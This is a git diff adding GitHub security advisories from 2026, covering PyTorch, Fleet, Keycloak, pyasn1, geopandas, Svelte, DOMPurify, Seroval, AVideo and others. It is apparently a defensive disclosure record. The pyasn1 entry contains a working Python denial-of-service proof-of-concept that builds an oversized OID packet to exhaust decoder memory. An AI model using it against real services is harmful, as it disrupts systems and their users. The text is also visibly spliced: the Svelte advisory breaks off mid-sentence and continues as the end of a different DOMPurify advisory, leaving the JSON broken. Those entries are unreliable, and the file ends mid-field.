a/advisories/github-reviewed/2026/01/GHSA-63cw-57p8-fm3p/GHSA-63cw-57p8-fm3p.json b/advisories/github-reviewed/2026/01/GHSA-63cw-57p8-fm3p/GHSA-63cw-57p8-fm3p.json new file mode 100644 index 0000000000000..3942dfef44be0 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-63cw-57p8-fm3p/GHSA-63cw-57p8-fm3p.json @@ -0,0 +1,74 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-63cw-57p8-fm3p", + "modified": "2026-01-29T03:42:52Z", + "published": "2026-01-27T20:10:54Z", + "aliases": [ + "CVE-2026-24747" + ], + "summary": "PyTorch Vulnerable to Remote Code Execution via Untrusted Checkpoint Files", + "details": "### Summary\n\nA vulnerability in PyTorch's `weights_only` unpickler allows an attacker to craft a malicious checkpoint file (`.pth`) that, when loaded with `torch.load(..., weights_only=True)`, can corrupt memory and potentially lead to arbitrary code execution.\n\n### Vulnerability Details\n\nThe `weights_only=True` unpickler failed to properly validate pickle opcodes and storage metadata, allowing:\n\n1. **Heap memory corruption** via `SETITEM`/`SETITEMS` opcodes applied to non-dictionary types\n2. **Storage size mismatch** between declared element count and actual data in the archive\n\n### Impact\n\nAn attacker who can convince a user to load a malicious checkpoint file may achieve arbitrary code execution in the context of the victim's process.\n\n\n# Credit\nJi'an Zhou", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pytorch" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.10.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pytorch/pytorch/security/advisories/GHSA-63cw-57p8-fm3p" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24747" + }, + { + "type": "WEB", + "url": "https://github.com/pytorch/pytorch/issues/163105" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pytorch/pytorch" + }, + { + "type": "WEB", + "url": "https://github.com/pytorch/pytorch/163122/commit/954dc5183ee9205cbe79876ad05dd2d9ae752139" + }, + { + "type": "WEB", + "url": "https://github.com/pytorch/pytorch/releases/tag/v2.10.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-27T20:10:54Z", + "nvd_published_at": "2026-01-27T22:15:56Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-63m5-974w-448v/GHSA-63m5-974w-448v.json b/advisories/github-reviewed/2026/01/GHSA-63m5-974w-448v/GHSA-63m5-974w-448v.json new file mode 100644 index 0000000000000..a127bdcd55015 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-63m5-974w-448v/GHSA-63m5-974w-448v.json @@ -0,0 +1,145 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-63m5-974w-448v", + "modified": "2026-02-27T22:02:58Z", + "published": "2026-01-20T20:55:17Z", + "aliases": [ + "CVE-2026-23518" + ], + "summary": "Fleet has a JWT signature bypass vulnerability in Azure AD MDM enrollment ", + "details": "### Summary\n\nA vulnerability in Fleet’s Windows MDM enrollment flow could allow an attacker to submit forged authentication tokens that are not properly validated. Because JWT signatures were not verified, Fleet could accept attacker-controlled identity claims, enabling enrollment of unauthorized devices under arbitrary Azure AD user identities.\n\n### Impact\n\nIf Windows MDM is enabled, an attacker can enroll rogue devices by submitting a forged JWT containing arbitrary identity claims. Due to missing JWT signature verification, Fleet accepts these claims without validating that the token was issued by Azure AD, allowing enrollment under any Azure AD user identity.\n\n### Patches\n\n- 4.78.3\n- 4.77.1\n- 4.76.2\n- 4.75.2\n- 4.53.3\n\n### Workarounds\n\nIf an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\nEmail us at [security@fleetdm.com](mailto:security@fleetdm.com)\nJoin #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)\n\n### Credits\n\nWe thank @secfox-ai for responsibly reporting this issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.78.0" + }, + { + "fixed": "4.78.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.77.0" + }, + { + "fixed": "4.77.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.76.0" + }, + { + "fixed": "4.76.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.75.0" + }, + { + "fixed": "4.75.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.43.5-0.20260112202845-e225ef57912c" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-63m5-974w-448v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23518" + }, + { + "type": "WEB", + "url": "https://github.com/fleetdm/fleet/commit/e225ef57912c8f4ac8977e24b5ebe1d9fd875257" + }, + { + "type": "PACKAGE", + "url": "https://github.com/fleetdm/fleet" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2026-4335" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T20:55:17Z", + "nvd_published_at": "2026-01-21T22:15:50Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-63v5-26vq-m4vm/GHSA-63v5-26vq-m4vm.json b/advisories/github-reviewed/2026/01/GHSA-63v5-26vq-m4vm/GHSA-63v5-26vq-m4vm.json new file mode 100644 index 0000000000000..4bb6326d304d5 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-63v5-26vq-m4vm/GHSA-63v5-26vq-m4vm.json @@ -0,0 +1,79 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-63v5-26vq-m4vm", + "modified": "2026-03-06T00:31:28Z", + "published": "2026-01-26T21:30:36Z", + "aliases": [ + "CVE-2026-1190" + ], + "summary": "Keycloak's missing timestamp validation allows attackers to extend SAML response validity periods", + "details": "A flaw was found in Keycloak's SAML brokering functionality. When Keycloak is configured as a client in a Security Assertion Markup Language (SAML) setup, it fails to validate the `NotOnOrAfter` timestamp within the `SubjectConfirmationData`. This allows an attacker to delay the expiration of SAML responses, potentially extending the time a response is considered valid and leading to unexpected session durations or resource consumption.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-services" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "26.5.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1190" + }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/issues/45646" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3947" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3948" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2026-1190" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430835" + }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-112", + "CWE-347", + "CWE-613" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-27T21:56:13Z", + "nvd_published_at": "2026-01-26T20:16:09Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-63vm-454h-vhhq/GHSA-63vm-454h-vhhq.json b/advisories/github-reviewed/2026/01/GHSA-63vm-454h-vhhq/GHSA-63vm-454h-vhhq.json new file mode 100644 index 0000000000000..605d9230b4962 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-63vm-454h-vhhq/GHSA-63vm-454h-vhhq.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-63vm-454h-vhhq", + "modified": "2026-02-01T18:30:16Z", + "published": "2026-01-16T19:19:25Z", + "aliases": [ + "CVE-2026-23490" + ], + "summary": "pyasn1 has a DoS vulnerability in decoder", + "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\"Screenshot_20251219_160840\"\n\n\"Screenshot_20251219_152815\"\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pyasn1" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "0.6.2" + } + ] + } + ], + "versions": [ + "0.6.1" + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490" + }, + { + "type": "WEB", + "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970" + }, + { + "type": "WEB", + "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyasn1/pyasn1" + }, + { + "type": "WEB", + "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496" + }, + { + "type": "WEB", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T19:19:25Z", + "nvd_published_at": "2026-01-16T19:16:19Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-6475-r3vj-m8vf/GHSA-6475-r3vj-m8vf.json b/advisories/github-reviewed/2026/01/GHSA-6475-r3vj-m8vf/GHSA-6475-r3vj-m8vf.json new file mode 100644 index 0000000000000..54d718bbb9f1f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-6475-r3vj-m8vf/GHSA-6475-r3vj-m8vf.json @@ -0,0 +1,63 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6475-r3vj-m8vf", + "modified": "2026-01-08T21:52:45Z", + "published": "2026-01-08T21:52:45Z", + "aliases": [], + "summary": "AWS SDK for JavaScript v3 adopted defense in depth enhancement for region parameter value", + "details": "CVSSv3.1 Rating: 3.7 (LOW)\n\nSummary\n\nThis notification is related to the use of specific values for the region input field when calling AWS services. An actor with access to the environment in which the SDK is used could set the region input field to an invalid value.\n\nA defense-in-depth enhancement has been implemented in the AWS SDK for JavaScript v3 (versions 3.723.0 and later). This enhancement validates that a region used to construct an endpoint URL is a valid host label. The change was released on November 15, 2025. This advisory is informational to help customers understand their responsibilities regarding configuration security.\n\nImpact\nCustomer applications could be configured to improperly route AWS API calls to non-existent or non-AWS hosts. While the SDK was functioning as designed, additional safeguards have been added to support secure customer implementations.\n\nImpacted versions: @smithy/config-resolver <4.4.0\n\nPatches\n\nOn November 15, 2025, an enhancement was made to the AWS SDK for JavaScript v3 (versions 3.723.0 and later) release, which validates the formatting of a region, providing additional safeguards. A feature enhancement was implemented in @smithy/config-resolver v4.4.0. This enhancement provides additional configuration validation safeguards but does not address a security vulnerability.\n\nWorkarounds\nNo workarounds are needed, but as always you should ensure that your application is following security best practices:\n- Implement proper input validation in your application code\n- Update to the latest AWS SDK for Javascript v3 release on a regular basis\n- Follow AWS security best practices [1] for SDK configuration\n\nResources\nContact AWS Security via the vulnerability reporting page or email [aws-security@amazon.com](mailto:aws-security@amazon.com).\n\nAcknowledgement\nAWS Security thanks Guy Arazi for bringing these customer security considerations to our attention through the coordinated disclosure process.\n\n[1] https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/security.html", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@smithy/config-resolver" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.4.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/aws/aws-sdk-js-v3/security/advisories/GHSA-6475-r3vj-m8vf" + }, + { + "type": "WEB", + "url": "https://github.com/aws/aws-sdk-js/security/advisories/GHSA-j965-2qgj-vjmq" + }, + { + "type": "WEB", + "url": "https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/security.html" + }, + { + "type": "PACKAGE", + "url": "https://github.com/aws/aws-sdk-js-v3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-08T21:52:45Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json new file mode 100644 index 0000000000000..5d6ec2fc96526 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json @@ -0,0 +1,78 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6497-prx7-gpmq", + "modified": "2026-02-01T18:09:10Z", + "published": "2026-01-30T21:30:22Z", + "aliases": [ + "CVE-2025-69662" + ], + "summary": "geopandas SQL Injection Vulnerability in to_postgis() Allows Information Disclosure", + "details": "SQL injection vulnerability in geopandas before v.1.1.2 allows an attacker to obtain sensitive information via the to_postgis()` function being used to write GeoDataFrames to a PostgreSQL database.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "geopandas" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.1.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69662" + }, + { + "type": "WEB", + "url": "https://github.com/geopandas/geopandas/issues/3679" + }, + { + "type": "WEB", + "url": "https://github.com/geopandas/geopandas/pull/3681" + }, + { + "type": "WEB", + "url": "https://github.com/geopandas/geopandas/commit/6aa8ef14ffdee4ba1044349ab948e1a1fbfaf419" + }, + { + "type": "WEB", + "url": "https://aydinnyunus.github.io/2025/12/27/sql-injection-geopandas" + }, + { + "type": "PACKAGE", + "url": "https://github.com/geopandas/geopandas" + }, + { + "type": "WEB", + "url": "https://github.com/geopandas/geopandas/releases/tag/v1.1.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-202", + "CWE-89" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-02-01T18:09:10Z", + "nvd_published_at": "2026-01-30T19:16:11Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-657c-wxg6-jmqv/GHSA-657c-wxg6-jmqv.json b/advisories/github-reviewed/2026/01/GHSA-657c-wxg6-jmqv/GHSA-657c-wxg6-jmqv.json new file mode 100644 index 0000000000000..307002d23ae2c --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-657c-wxg6-jmqv/GHSA-657c-wxg6-jmqv.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-657c-wxg6-jmqv", + "modified": "2026-01-22T18:04:53Z", + "published": "2026-01-14T18:31:37Z", + "aliases": [ + "CVE-2025-63644" + ], + "summary": "pH7-Social-Dating-CMS affected by a stored cross-site scripting (XSS) vulnerability", + "details": "A stored cross-site scripting (XSS) vulnerability exists in pH7Software pH7-Social-Dating-CMS 17.9.1 in the user profile Description field.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "ph7software/ph7builder" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "17.9.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63644" + }, + { + "type": "WEB", + "url": "https://drive.google.com/drive/folders/1mYDvUTnlTPCGTB-7tHD3pmu_wHtlMVRP" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pH7Software/pH7-Social-Dating-CMS" + }, + { + "type": "WEB", + "url": "https://medium.com/@rudranshsinghrajpurohit/cve-2025-63644-stored-cross-site-scripting-xss-vulnerability-in-ph7-social-dating-cms-23ed0e7eb853" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:04:53Z", + "nvd_published_at": "2026-01-14T18:16:41Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-66fc-rw6m-c2q6/GHSA-66fc-rw6m-c2q6.json b/advisories/github-reviewed/2026/01/GHSA-66fc-rw6m-c2q6/GHSA-66fc-rw6m-c2q6.json new file mode 100644 index 0000000000000..d0f1f74b3d5bd --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-66fc-rw6m-c2q6/GHSA-66fc-rw6m-c2q6.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-66fc-rw6m-c2q6", + "modified": "2026-01-22T15:44:01Z", + "published": "2026-01-21T17:05:54Z", + "aliases": [ + "CVE-2026-23957" + ], + "summary": "Seroval affected by Denial of Service via Array serialization", + "details": "Overriding encoded array lengths by replacing them with an excessively large value causes the deserialization process to **significantly increase processing time**. \n\n**Mitigation**: \n`Seroval` no longer encodes array lengths.\nInstead, it computes length using `Array.prototype.length` during deserialization.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "seroval" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.4.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-66fc-rw6m-c2q6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23957" + }, + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lxsmnsyc/seroval" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T17:05:54Z", + "nvd_published_at": "2026-01-22T02:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-6738-r8g5-qwp3/GHSA-6738-r8g5-qwp3.json b/advisories/github-reviewed/2026/01/GHSA-6738-r8g5-qwp3/GHSA-6738-r8g5-qwp3.json new file mode 100644 index 0000000000000..7da422b8ac1f9 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-6738-r8g5-qwp3/GHSA-6738-r8g5-qwp3.json @@ -0,0 +1,76 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6738-r8g5-qwp3", + "modified": "2026-01-15T22:34:22Z", + "published": "2026-01-15T20:13:33Z", + "aliases": [ + "CVE-2025-15265" + ], + "summary": "svelte vulnerable to Cross-site Scripting", + "details": "## Summary\n\nAn XSS vulnerability exists in Svelte 5.46.0-2 resulting from improper escaping of `hydratable` keys. If these keys incorporate untrusted user input, arbitrary JavaScript can be injected into server-rendered HTML.\n\n## Details\n\nWhen using the [`hydratable`](https://svelte.dev/docs/svelte/hydratable) function, the first argument is used as a key to uniquely identify the data, such that the value is not regenerated in the browser.\n\nThis key is embedded into a `\n\n in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "dompurify" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.1.3" + }, + { + "fixed": "3.2.7" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "dompurify" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.3" + }, + { + "last_affected": "2.5.8" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15599" + }, + { + "type": "WEB", + "url": "https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/cure53/DOMPurify" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-03-04T20:50:09Z", + "nvd_published_at": "2026-03-03T18:16:23Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/03/GHSA-v8jw-8w5p-23g3/GHSA-v8jw-8w5p-23g3.json b/advisories/github-reviewed/2026/03/GHSA-v8jw-8w5p-23g3/GHSA-v8jw-8w5p-23g3.json new file mode 100644 index 0000000000000..059b35ed6bd43 --- /dev/null +++ b/advisories/github-reviewed/2026/03/GHSA-v8jw-8w5p-23g3/GHSA-v8jw-8w5p-23g3.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v8jw-8w5p-23g3", + "modified": "2026-03-06T14:24:02Z", + "published": "2026-03-02T20:56:52Z", + "aliases": [ + "CVE-2026-28502" + ], + "summary": "AVideo has Authenticated Remote Code Execution via Unsafe Plugin ZIP Extraction", + "details": "## Summary\nAn authenticated Remote Code Execution (RCE) vulnerability was identified in AVideo related to the plugin upload/import functionality.\n\nThe issue allowed an authenticated administrator to upload a specially crafted ZIP archive containing executable server-side files. Due to insufficient validation of extracted file contents, the archive was extracted directly into a web-accessible plugin directory, allowing arbitrary PHP code execution.\n\n## Vulnerability Type\n- Remote Code Execution (RCE)\n- CWE-434: Unrestricted Upload of File with Dangerous Type\n\n## Affected Versions\n- All versions up to and including 22.x.\n\n## Fixed Version\n- A fix is expected to be released in version 23.\n\n## Root Cause\nThe system validated only the ZIP extension of uploaded plugin packages but did not enforce a strict allowlist of file types within the archive. Extracted files were placed directly in a web-accessible directory without preventing execution of server-side scripts.\n\n## Impact\nAn authenticated administrator could execute arbitrary code on the server, resulting in full system compromise, including:\n- Confidentiality loss\n- Integrity loss\n- Availability impact\n\n## Remediation\nUpgrade immediately to **AVideo version 23 or later**.\n\nVersion 23 introduces improved validation and secure handling of plugin extraction.\n\n## Workarounds\nIf upgrade is not immediately possible:\n- Disable plugin upload/import functionality.\n- Configure the web server to prevent execution of PHP files inside plugin upload directories.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "wwbn/avideo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 21.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": 